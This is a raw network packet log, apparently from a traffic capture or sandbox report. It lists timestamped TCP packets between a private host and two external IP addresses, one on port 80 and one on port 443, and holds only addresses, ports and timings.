Dec 17, 2024 08:03:30.984956026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.985708952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.985761881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.985847950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.985893011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.986583948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.986633062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.986754894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.986807108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.987514019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.987560987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.987643003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.987689018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.988472939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.988523960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.988527060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.988574982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.989393950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.989448071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.989449978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.989489079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.990266085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.990314007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.990408897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.990456104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.991127014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.991177082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.991261959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.991308928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.992053986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.992110014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.992203951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.992250919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.992974043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.993024111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.993091106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.993138075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.993885994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.993933916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.994021893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.994065046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.994841099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.994889975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.994911909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.994959116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.995706081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.995754004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.995820045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.995867014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.996630907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.996679068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.996746063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.996862888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.997556925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.997610092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.997680902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.997735023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.998477936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.998531103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.998614073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.998666048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.999377966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.999430895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.999520063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.999566078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.000308990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.000356913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.000425100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.000495911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.146519899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.146657944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.146742105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.146856070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.147003889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.147061110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.147735119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.147787094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.147960901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.147995949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.148029089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.148045063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.148067951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.148111105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.148793936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.148901939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.148951054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.149746895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.149884939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.149935961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.150701046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.150746107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.150754929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.151576996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.151628971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.151698112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.152477980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.152534008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.152554035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.153024912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.153363943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.153516054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.153563023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.154294968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.154408932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.154453993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158004999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158056974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158107996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158123970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158142090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158178091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158193111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158211946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158224106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158247948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158257008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158284903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158292055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158324957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158855915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.158909082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.158911943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.159796953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.159847975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.159923077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.160573959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.160675049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.160806894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.160851002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.161612988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.161775112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.161829948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.162568092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.162656069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.162708044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.163453102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.163604975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.163656950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.164352894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.164522886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.164577961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.165277958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.165462017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.165513992 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.166162968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.166309118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.166362047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.167131901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.167298079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.167346001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.168047905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.168175936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.168226957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.169013023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.169198036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.169260025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.169965029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.170031071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.170084953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.170773983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.170826912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.170962095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.171732903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.171792984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.171843052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.171889067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.172596931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.172738075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.172780991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.173536062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.173661947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.173716068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.174428940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.174475908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.174546957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.175477982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.175542116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.175576925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.176352024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.176399946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.176455021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.176496983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.177287102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.177342892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.177390099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.178107023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.178252935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.178301096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.179112911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.179168940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.179215908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.179965973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.180013895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.180177927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.180563927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.180866003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.180922031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.180948019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.180990934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.181766987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.181816101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.181881905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.181926012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.182662010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.182706118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.182791948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.182833910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.183620930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.183667898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.183754921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.183798075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.184540033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.184699059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.184758902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.185467958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.185523987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.185575962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.186400890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.186512947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.186561108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.187266111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.187387943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.187437057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.188203096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.188321114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.188370943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.189135075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.189305067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.189357996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.190032005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.190129995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.190185070 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.190912008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.191040039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.191086054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.191817045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.191931009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.191982031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.192742109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.192847967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.192903996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.289393902 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:31.289457083 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:31.289555073 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:31.289930105 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:31.289946079 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:31.337938070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.337995052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.338037014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.338076115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.338100910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.338284969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.338380098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.338429928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.339505911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.339565039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.339617014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.340303898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.340362072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.340413094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.341130972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.341255903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.341310978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.341860056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.341912031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.341916084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.342793941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.342845917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.342849016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.343712091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.343764067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.343833923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.343882084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.344680071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.344734907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.344785929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.345532894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.345663071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.345710993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.346441984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.346496105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.346564054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.347379923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.347433090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.347522974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.348315001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.348367929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.348423958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.348474026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.349201918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.349303007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.349353075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.350114107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.350276947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.350327015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.351162910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.351213932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.351217985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.351963043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.352014065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.352076054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.352591038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.352888107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.352941990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.352993965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.353787899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.353916883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.353969097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.354763985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.354821920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.354825020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.355598927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.355652094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.355775118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.356578112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.356594086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.356662035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.356714964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.357449055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.357564926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.357619047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.358357906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.358409882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.358469963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.359308004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.359361887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.359426975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.360223055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.360277891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.360326052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.360374928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.361095905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.361243010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.361294031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.362027884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.362158060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.362206936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.362940073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.363048077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.363096952 CET	49867	80	192.168.2.5	31.41.244.11
